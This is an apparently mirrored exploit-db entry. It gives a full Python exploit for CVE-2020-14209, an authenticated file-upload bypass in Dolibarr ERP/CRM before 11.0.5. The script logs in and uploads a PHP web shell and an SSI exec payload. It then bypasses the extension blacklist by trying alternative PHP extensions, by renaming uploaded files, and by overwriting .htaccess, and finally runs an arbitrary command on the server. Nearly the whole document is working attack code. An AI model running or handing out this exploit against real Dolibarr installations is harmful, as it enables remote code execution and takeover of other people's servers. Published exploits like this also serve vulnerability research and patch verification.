Dolibarr ERP 11.0.4 – File Upload Restrictions Bypass (Authenticated RCE)

  • 作者: Andrea Gonzalez
    日期: 2021-03-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49711/
  • # Exploit Title: Dolibarr ERP/CRM 11.0.4 - File Upload Restrictions Bypass (Authenticated RCE)
    # Date: 16/06/2020
    # Exploit Author: Andrea Gonzalez
    # Vendor Homepage: https://www.dolibarr.org/
    # Software Link: https://github.com/Dolibarr/dolibarr
    # Version: Prior to 11.0.5
    # Tested on: Debian 9.12 
    # CVE : CVE-2020-14209
    
    #!/usr/bin/python3
    
    # Choose between 3 types of exploitation: extension-bypass, file-renaming or htaccess. If no option is selected, all 3 methods are tested. 
    
    import re
    import sys
    import random
    import string
    import argparse
    import requests
    import urllib.parse
    from urllib.parse import urlparse
    
    session = requests.Session()
    base_url = "http://127.0.0.1/htdocs/"
    documents_url = "http://127.0.0.1/documents/"
    proxies = {}
    user_id = -1
    
    class bcolors:
    BOLD = '\033[1m'
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    
    def printc(s, color):
    print(f"{color}{s}{bcolors.ENDC}")
    
    def read_args():
    parser = argparse.ArgumentParser(description='Dolibarr exploit - Choose one or more methods (extension-bypass, htaccess, file-renaming). If no method is chosen, every method is tested.')
    parser.add_argument('base_url', metavar='base_url', help='Dolibarr base URL.')
    parser.add_argument('-d', '--documents-url', dest='durl', help='URL where uploaded documents are stored (default is base_url/../documents/).')
    parser.add_argument('-c', '--command', dest='cmd', default="id", help='Command to execute (default "id").')
    parser.add_argument('-x', '--proxy', dest='proxy', help='Proxy to be used.')
    parser.add_argument('--extension-bypass', dest='fbypass', action='store_true',
    default=False,
    help='Files with executable extensions are uploaded trying to bypass the file extension blacklist.')
    parser.add_argument('--file-renaming', dest='frenaming', action='store_true',
    default=False,
    help='A PHP script is uploaded and .php extension is added using file renaming function.')
    parser.add_argument('--htaccess', dest='htaccess', action='store_true',
    default=False,
    help='Apache .htaccess file is uploaded so files with .noexe extension can be executed as a PHP script.')
    required = parser.add_argument_group('required named arguments')
    required.add_argument('-u', '--user', help='Username', required=True)
    required.add_argument('-p', '--password', help='Password', required=True)
    return parser.parse_args()
    
    def error(s, end=False):
    printc(s, bcolors.HEADER)
    if end:
    sys.exit(1)
    
    """
    Returns user id
    """
    def login(user, password):
    data = {
    "actionlogin": "login",
    "loginfunction": "loginfunction",
    "username": user,
    "password": password
    }
    login_url = urllib.parse.urljoin(base_url, "index.php")
    r = session.post(login_url, data=data, proxies=proxies)
    try:
    regex = re.compile(r"user/card.php\?id=(\d+)")
    match = regex.search(r.text)
    return int(match.group(1))
    except Exception as e:
    #error(e)
    return -1
    
    def upload(filename, payload):
    files = {
    "userfile": (filename, payload),
    }
    data = {
    "sendit": "Send file"
    }
    headers = {
    "Referer": base_url
    }
    upload_url = urllib.parse.urljoin(base_url, "user/document.php?id=%d" % user_id)
    session.post(upload_url, files=files, headers=headers, data=data, proxies=proxies)
    
    def delete(filename):
    data = {
    "action": "confirm_deletefile",
    "confirm": "yes",
    "urlfile": filename
    }
    headers = {
    "Referer": base_url
    }
    delete_url = urllib.parse.urljoin(base_url, "user/document.php?id=%d" % user_id)
    session.post(delete_url, headers=headers, data=data, proxies=proxies)
    
    def rename(filename, new_filename):
    data = {
    "action": "renamefile",
    "modulepart": "user",
    "renamefilefrom": filename,
    "renamefileto": new_filename,
    "renamefilesave": "Save"
    }
    headers = {
    "Referer": base_url
    }
    rename_url = urllib.parse.urljoin(base_url, "user/document.php?id=%d" % user_id)
    session.post(rename_url, headers=headers, data=data, proxies=proxies)
    
    def test_payload(filename, payload, query, headers={}):
    file_url = urllib.parse.urljoin(documents_url, "users/%d/%s?%s" % (user_id, filename, query))
    r = session.get(file_url, headers=headers, proxies=proxies)
    if r.status_code != 200:
    error("Error %d %s" % (r.status_code, file_url))
    elif payload in r.text:
    error("Non-executable %s" % file_url)
    else:
    printc("Payload was successful! %s\nOutput: %s" % (file_url, r.text.strip()), bcolors.OKGREEN)
    return True
    return False
    
    def get_random_filename():
    return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8))
    
    def upload_executable_file_php(payload, query):
    php_extensions = [".php", ".pht", ".phpt", ".phar", ".phtml", ".php3", ".php4", ".php5", ".php6", ".php7"]
    random_filename = get_random_filename()
    b = False
    for extension in php_extensions:
    filename = random_filename + extension
    upload(filename, payload)
    if test_payload(filename, payload, query):
    b = True
    return b
    
    def upload_executable_file_ssi(payload, command):
    filename = get_random_filename() + ".shtml"
    upload(filename, payload)
    return test_payload(filename, payload, '', headers={'ACCEPT': command})
    
    def upload_and_rename_file(payload, query):
    filename = get_random_filename() + ".php"
    upload(filename, payload)
    rename(filename + ".noexe", filename)
    return test_payload(filename, payload, query)
    
    def upload_htaccess(payload, query):
    filename = get_random_filename() + ".noexe"
    upload(filename, payload)
    filename_ht = get_random_filename() + ".htaccess"
    upload(filename_ht, "AddType application/x-httpd-php .noexe\nAddHandler application/x-httpd-php .noexe\nOrder deny,allow\nAllow from all\n")
    delete(".htaccess")
    rename(filename_ht, ".htaccess")
    return test_payload(filename, payload, query)
    
    
    if __name__ == "__main__":
    args = read_args()
    base_url = args.base_url if args.base_url[-1] == '/' else args.base_url + '/'
    documents_url = args.durl if args.durl else urllib.parse.urljoin(base_url, "../documents/")
    documents_url = documents_url if documents_url[-1] == '/' else documents_url + '/'
    user = args.user
    password = args.password
    payload = "<?php system($_GET['cmd']) ?>"
    payload_ssi = '<!--#exec cmd="$HTTP_ACCEPT" -->'
    command = args.cmd
    query = "cmd=%s" % command
    if args.proxy:
    proxies = {"http": args.proxy, "https": args.proxy}
    
    user_id = login(user, password)
    if user_id < 0:
    error("Login error", True)
    printc("Successful login, user id found: %d" % user_id, bcolors.OKGREEN)
    print('-' * 30)
    if not args.fbypass and not args.frenaming and not args.htaccess:
    args.fbypass = args.frenaming = args.htaccess = True
    
    if args.fbypass:
    printc("Trying extension-bypass method\n", bcolors.BOLD)
    b = upload_executable_file_php(payload, query)
    b = upload_executable_file_ssi(payload_ssi, command) or b
    if b:
    printc("\nextension-bypass was successful", bcolors.OKBLUE)
    else:
    printc("\nextension-bypass was not successful", bcolors.WARNING)
    print('-' * 30)
    if args.frenaming:
    printc("Trying file-renaming method\n", bcolors.BOLD)
    if upload_and_rename_file(payload, query):
    printc("\nfile-renaming was successful", bcolors.OKBLUE)
    else:
    printc("\nfile-renaming was not successful", bcolors.WARNING)
    print('-' * 30)
    if args.htaccess:
    printc("Trying htaccess method\n", bcolors.BOLD)
    if upload_htaccess(payload, query):
    printc("\nhtaccess was successful", bcolors.OKBLUE)
    else:
    printc("\nhtaccess was not successful", bcolors.WARNING)
    print('-' * 30)